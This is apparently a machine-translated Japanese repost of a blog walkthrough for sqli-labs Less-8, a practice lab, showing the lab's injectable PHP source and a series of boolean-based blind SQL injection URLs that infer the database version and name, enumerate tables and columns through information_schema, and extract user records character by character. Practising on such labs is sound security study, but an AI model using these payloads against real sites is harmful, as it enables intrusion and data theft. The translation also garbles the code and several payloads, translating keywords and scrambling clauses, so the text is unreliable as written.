SQLI-ラボレス-8ブール注入

ビューのソースコードは次のようです

$ ID = $ _ GET [ 'ID']; 
$ SQL = "SELECT * FROMユーザーID = '$ ID' LIMIT 0,1"。
$結果=するmysql_query($ SQL)。
$行=は、mysql_fetch_array($結果)。

	IF($行)
	{ 
  	エコー'<フォントサイズ= "10"色= "#1 FFFF00">'。	
  	エコー「あなたには...........あります」; 
  	エコー「<BR>」。
    	エコー"</ FONT>"; 
  	} 
	{ 
	
	エコー'<フォントサイズ= "10"色= "#1 FFFF00">'。
	//エコー「あなたはしている...........」; 
	//ますprint_r(mysql_error()); 
	//エコー「あなたはあなたのSQL構文でエラーが発生しています」。
	エコー"</br> </ FONT>";	
	エコー「<	フォントの色=フォントサイズ= 3> ' "#0000FF"; 
	
	}

見ることができる、と比較less5、less8ソースコードMySQLエラーステートメントは、このエラー注入が死滅するように、コメントしています。あなたは、ブール、注射または遅延注入を使用することができます。

ここであなたにブール注入を示しています。

 

まず、バージョンを見て()

http://127.0.0.1/sql/Less-8/?id=1' 及び左(バージョン()、1)= '5' %23

ここでの発言手段バージョン番号5を見ている返された最初の、明白な結果が正しいではありません。

バージョン番号は適切な時期ではない場合、あなたはである正しく表示できません......

あなたは、データベースのバージョン番号が5.6.17で試してみることができます

私たちは、効率を改善するために、げっぷやPythonスクリプトを使用することができます。

 

次に、データベースの長さを見て

http://127.0.0.1/sql/Less-8/?id=1' および長さ(データベース())= 8%23

長さが8の長さを示す、誤った結果を返し、8です。

 

私が最初にデータベースを推測します

http://127.0.0.1/sql/Less-8/?id=1' 及び左(データベース()、1)> 'N' - +

データベース()我々はそれがS> nであり、したがって、返却する権利ことは明らかであり、nは>かどうか彼の最初の見て、セキュリティです。私たちの知識がなくても、二分法は、注入効率を改善するために使用することができるとき。

 

第二に推測データベース

最初はそのsと我々がトップ2を見れば、SNよりも大きく、

http://127.0.0.1/sql/Less-8/?id=1' 及び左(データベース()、2)> 'SN' - +

類推ダウン、最後のデータベースセキュリティを呼ばれています。

 

テーブルのセキュリティデータベースの下で取得します

http://127.0.0.1/sql/Less-8/?id=1' とASCII(TABLE_SCHEMA =データベース()限界0,1 INFORMATION_SCHEMA.TABLESからSUBSTR((セレクトテーブル名)、1,1))> 100 - +

ここでは同じ二分法を正しくテストまでのテストを使用。

最初の表は、電子メールであるため、ここでは、101である必要があります。

 

最初のテーブルの2番目の文字にそれを取得する方法?我々は、使用SUBSTR(**、2,1)をすることができSUBSTR()関数を、学んできました。

http://127.0.0.1/sql/Less-8/?id=1' とASCII(TABLE_SCHEMA =データベース()限界0,1 INFORMATION_SCHEMA.TABLESからSUBSTR((セレクトテーブル名)、2,1))> 108 - +

 

どのように、第2のテーブルにそれを取得するには?考えます!

ここでは、私たちが使用0,1を制限する上記の文を見ることができます。0手段を最初から最初の1を取得すること。その第二を取得するにはその制限1,1ではありません!

http://127.0.0.1/sql/Less-8/?id=1' とASCII(TABLE_SCHEMA =データベース()限界1,1 INFORMATION_SCHEMA.TABLESからSUBSTR((セレクトテーブル名)、1,1))> 113 - +

第二テーブルはリファラーテーブルであるため、113のリターンは、ここで正しいので、最初のものは、rです。

プロセスが常に上記繰り返した後、ここで作られた車輪を繰り返すことはしません。原則は明確に説明されています。

あなたが方法に従って終わっ実行すると、すべてのテーブルの名前を取得することが可能です。

 

正規表現は、表に記載されている標準的な注入のユーザーを使用して取得しました

http://127.0.0.1/sql/Less-8/?id=1' と1 =(table_nameは= information_schema.columnsから1を選択する '^米国の限界0,1ユーザーとのcolumn_name正規表現を') - +

 

ORD()とMID()関数を使用すると、ユーザーテーブルの内容を取得します

http://127.0.0.1/sql/Less-8/?id=1' とORD(ミッド((IDリミット0,1によってsecurity.users順から(キャスト(charとしてユーザー名)、0x20に)IFNULLを選択)、 1,1))= 68 - +

 

まったく同じ方法で、より少ない5時間後に証明するつもりはない、バック、中には注入効率を改善するためのPythonスクリプトを書くことができます。

 

おすすめ

転載: www.cnblogs.com/zhengna/p/12577566.html